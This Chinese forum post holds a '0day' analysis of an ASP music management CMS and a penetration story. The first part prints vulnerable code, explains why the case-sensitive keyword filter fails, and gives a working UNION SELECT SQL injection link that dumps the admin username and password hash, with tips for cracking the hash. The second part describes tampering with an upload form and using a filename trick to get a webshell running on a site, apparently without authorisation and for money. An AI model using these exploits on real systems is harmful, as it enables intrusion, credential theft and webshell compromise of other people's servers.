七禧舞曲管理系统 v3.0 0day分析
<!--#Include File="CmsDj.Conn.asp"-->
<!--#Include File="CmsDj.Function.asp"-->
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
If mid(From_url,8,len(Serv_url)) <> Serv_url Then //判断REFERER
Response.Write "不支持外部链接!"
Response.End
End If
id=SafeRequest("id","get") //获取参数id
ac=SafeRequest("ac","get") //获取 ac
Set CmsDjMusic = New CmsDj_Com_Dj
Set CmsDjServer = New CmsDj_Com_Server
Set Rs = CmsDjMusic.GetRs("CD_ID,CD_Url,CD_Server,CD_Singer,CD_Name,CD_ClassID",0,"CD_ID="&ID) //id带入 SQL
If rs.EOF And rs.BOF Then
Response.write " "
Response.End
Else
If Rs("CD_Server")<>0 Then
Set RsServer = CmsDjServer.GetRs("CD_Url",0,"CD_ID="&Rs("CD_Server"))
PlayUrl = RsServer("CD_Url")&Rs("CD_Url")
Set RsServer = Nothing
Else
PlayUrl = Rs("CD_Url")
End If
End If
CD_Url=LCase(Rs("CD_Url"))
If left(CD_Url,18)="http://www.rayfile" Then
HttpUrl=CD_Url
CmsDj_Com_RayFileA = GetHttpPage(HttpUrl,"utf-8")
CmsDj_Com_RayFileB=GetBody(CmsDj_Com_RayFileA,"<div class=""btn_indown_zh-cn""><a href=""","""></a></div><div id=""divsavetomyfile""",False,False)
CmsDj_Com_RayFileC = GetHttpPage(CmsDj_Com_RayFileB,"utf-8")
PlayUrl=GetBody(CmsDj_Com_RayFileC,"var downloads_url = ['","'];",False,False)
End If
If ac="lplay" Then
Response.Write "var i"&rs("CD_ID")&"="""&rs("CD_ID")&""";var s"&rs("CD_ID")&"="""&rs("CD_Singer")&""";var n"&rs("CD_ID")&"="""&rs("CD_Name")&""";var u"&rs("CD_ID")&"="""&PlayUrl&""";var t"&rs("CD_ID")&"="""&rs("CD_ClassID")&""";" //打印内容
Else
Response.write PlayUrl
End If
Set Rs = Nothing
%>
SafeRequest 函数 代码:
Function SafeRequest(Key,Modes)
Dim ParaValue,strFilter,FilterArr,i
Select Case Lcase(Modes)
Case "get"
ParaValue=Trim(Request.QueryString(Key))
Case "post"
ParaValue=Trim(Request.Form(Key))
Case "auto"
ParaValue=Trim(Request(Key))
End Select
IF IsNum(ParaValue) Then
SafeRequest=ParaValue
Exit Function
Else //如果获取的参数值不为数字 ,这检查是否包含以下关键字
strFilter="'|and|(|)|exec|insert|select|delete|update|*|chr|mid|master|truncate|declare"
FilterArr=Split(strFilter,"|")
For i=0 To Ubound(FilterArr)
IF Instr(ParaValue,FilterArr(i))>0 Then
ParaValue=ReplaceStr(ParaValue,FilterArr(i),DBC2SBC(FilterArr(i),0))
End IF
Next
SafeRequest=ParaValue
End IF
SafeRequest = FilterScript(SafeRequest)
End Function
但却没有考虑大小写,同时判断了REFERER,只要带上REFERER同时大小写下sql语句就行了
exp:
javascript:document.write("<a href='/include/GetUrl.asp?ac=lplay&id=-1 Union Select CD_AdminUserName,CD_AdminPassWord,null,4,5,6 From CmsDj_Admin'>Click me</a>");void(0);
var iadmin="admin";var sadmin="4";var nadmin="5";var uadmin="1bfb4b8ad622424eb8302ae5d622424eb8302ae5";var tadmin="6";
其中iadmin=后面是帐号,uadmin="后面是md5,注意md5只取前16位破解就行了
来源:16system.cn
一次渗透中的上传漏洞分析
作者:斌少
前几天 一朋友在熟人群里丢了个站(貌似还是我给他的地址让他弄点小钱)说是有个上传可以利用但是传上去不能解析 我看了下
本以为这种可以直接欺骗绕过去 但是试了下常见的方法都绕不过去
改成upload.asp 试了下截断 无果 正想试试nc 朋友那边发来消息 说nc解决不了
整站应该就这比较好突破 看了下源文件 突然发现一个地方好像可以利用
- <td bgcolor=#ffffff align=center><font color=red>正在上传文件,请稍候...</font></td>
- </tr>
- </table>
- </td><td width=20%></td>
- </tr></table></div>
- <table class="tableBorder" width="90%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
- <tr>
- <td align="center" background="../images/admin_bg_1.gif"><b><font color="#ffffff">图片上传
- <input type="hidden" name="filepath" value="GoodsPic/">
- <input type="hidden" name="Filetype" value="jpg,gif">
- <input type="hidden" name="EditName" value="goodspic">
- <input type="hidden" name="FormName" value="myform">
- <input type="hidden" name="act" value="uploadfile"></font></b>
嘿嘿 有希望了 把hidden全部改成test 然后把uploadfile删除 最后把action补上
然后保存本地 一般来说 对于这种上传 这样就可以直接上传asp了 但是我试了下 发现还是不行 那么只好修改路径了
路径改成1.asp/上传个小马上去 发现解析不了。在换1.asp;/ 还是不行。ping了下看TLL(虽然这个可以改 但是很少人去改)117 可能是被杀了。换了个免杀的上去 还是不行 有点烦躁。抽根烟 想了想 既然可以任意修改上传文件名 上去又不解析? 难道不是IIS? 但是他服务器上面都是asp的 没有php的 不至于的。 突然想到。既然可以任意文件名 那么 把1.asp;.jpg这样的改成1.asp;说不定可以解析 丢了个小马上去 哈哈 果然解析了。
本文没什么创意 无非就是细心的观察..